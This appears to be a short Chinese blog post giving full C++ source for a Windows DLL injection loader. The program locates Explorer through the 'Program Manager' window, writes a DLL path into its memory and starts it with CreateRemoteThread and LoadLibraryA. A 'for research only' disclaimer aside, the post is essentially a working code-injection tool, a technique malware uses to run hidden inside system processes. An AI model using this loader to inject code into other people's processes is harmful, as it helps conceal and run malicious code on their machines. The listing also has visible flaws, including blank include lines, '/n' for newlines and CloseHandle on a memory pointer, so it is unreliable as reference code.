Dll文件简单注入系统进程

//Dll注入系统,注入的文件名为Dll.dll;
//本文仅供研究不得用于非法用途,后果自负
// RemoteThreadDll.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include 
#include 
int main(int argc, char* argv[])
{
       HWND hand;
       HANDLE hProcess;
       HMODULE hmod;
       char szMyDllFull[256];
       DWORD dwThreadID=NULL,dwProcessID=NULL ;
       PDWORD lpLoadLibrary,lpDllName;
       GetCurrentDirectory(MAX_PATH,szMyDllFull);
       lstrcat(szMyDllFull,"//Dll.dll");
       printf("%s/n",szMyDllFull);
       hmod=GetModuleHandle("kernel32.dll");
       lpLoadLibrary=(PDWORD)GetProcAddress(hmod,"LoadLibraryA");
       hand=FindWindow("Progman","Program Manager");
              if(hand==NULL)
       {
              printf("找不到 progarm manager/n");
              return 0;
       }
       dwThreadID=GetWindowThreadProcessId(hand,&dwProcessID);
       hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwProcessID);
       if(hProcess!=NULL)
       {
              lpDllName=(PDWORD)VirtualAllocEx(hProcess,NULL,MAX_PATH,MEM_COMMIT,PAGE_READWRITE);
              printf("%x/n",lpDllName);
              WriteProcessMemory(hProcess,lpDllName,szMyDllFull,MAX_PATH,NULL);
              CreateRemoteThread(hProcess,NULL,0, (LPTHREAD_START_ROUTINE )lpLoadLibrary,lpDllName,0,NULL);
              CloseHandle(lpDllName);
              CloseHandle(hProcess);
              //ExitProcess(NULL);
       }
       else
              printf("faile/n");
       return 0;
}